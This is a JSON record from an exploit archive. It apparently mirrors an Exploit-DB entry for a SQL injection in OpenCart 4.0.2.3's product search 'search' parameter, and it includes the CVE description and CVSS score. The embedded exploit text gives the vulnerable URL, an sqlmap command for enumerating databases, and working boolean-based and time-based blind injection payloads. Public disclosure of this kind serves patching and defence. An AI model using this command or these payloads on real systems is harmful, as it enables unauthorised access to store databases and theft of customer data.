{"exploit":{"id":"EDB-51940","name":"OpenCart Core 4.0.2.3 - 'search' SQL Injection (SQLi)","description":"OpenCart Core 4.0.2.3 - 'search' SQL Injection (SQLi)","cves":["CVE-2024-58341"],"author":"Saud Alenazi","published":"2024-04-02","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/51940","path":"exploits/php/webapps/51940.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-51940.txt","vulnerabilities":[{"id":"CVE-2024-58341","state":"PUBLISHED","title":"OpenCart Core 4.0.2.3 SQL Injection via search Parameter","titleSource":"CVE Program","description":"OpenCart Core 4.0.2.3 contains a SQL injection vulnerability that allows unauthenticated attackers to manipulate database queries by injecting SQL code through the 'search' parameter. Attackers can send GET requests to the product search endpoint with malicious 'search' values to extract sensitive database information using boolean-based blind or time-based blind SQL injection techniques.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2024-58341","cvss":{"version":"4.0","baseScore":8.8,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2024-58341"},"updatedAt":"2026-05-14T02:07:15.526Z","retrievedAt":"2026-11-26T18:23:10.334Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-51940.png?v=2","url":"https://exploitbin.com/exploits/EDB-51940","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-51940/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-51940/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: OpenCart Core 4.0.2.3 - 'search' SQLi\n# Date: 2024-04-2\n# Exploit Author: Saud Alenazi\n# Vendor Homepage: https://www.opencart.com/\n# Software Link: https://github.com/opencart/opencart/releases\n# Version: 4.0.2.3\n# Tested on: XAMPP, Linux\n# Contact: https://twitter.com/dmaral3noz\n* Description :\nOpencart allows SQL Injection via parameter 'search' in /index.php?route=product/search&search=.\nExploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.\n* Steps to Reproduce :\n- Go to : http://127.0.0.1/index.php?route=product/search&search=test\n- New Use command Sqlmap : sqlmap -u \"http://127.0.0.1/index.php?route=product/search&search=#1\" --level=5 --risk=3 -p search --dbs\n===========\nOutput :\nParameter: search (GET)\nType: boolean-based blind\nTitle: AND boolean-based blind - WHERE or HAVING clause\nPayload: route=product/search&search=') AND 2427=2427-- drCa\nType: time-based blind\nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\nPayload: route=product/search&search=') AND (SELECT 8368 FROM (SELECT(SLEEP(5)))uUDJ)-- Nabb","sha256":"167156efed761a14a4f44f6a41731067a2600187f21450c0884b0279416e9c7a","bytes":1160,"fetchedAt":"2026-11-27T14:07:16.983Z","encoding":"utf-8 (display only; download retains original bytes)"}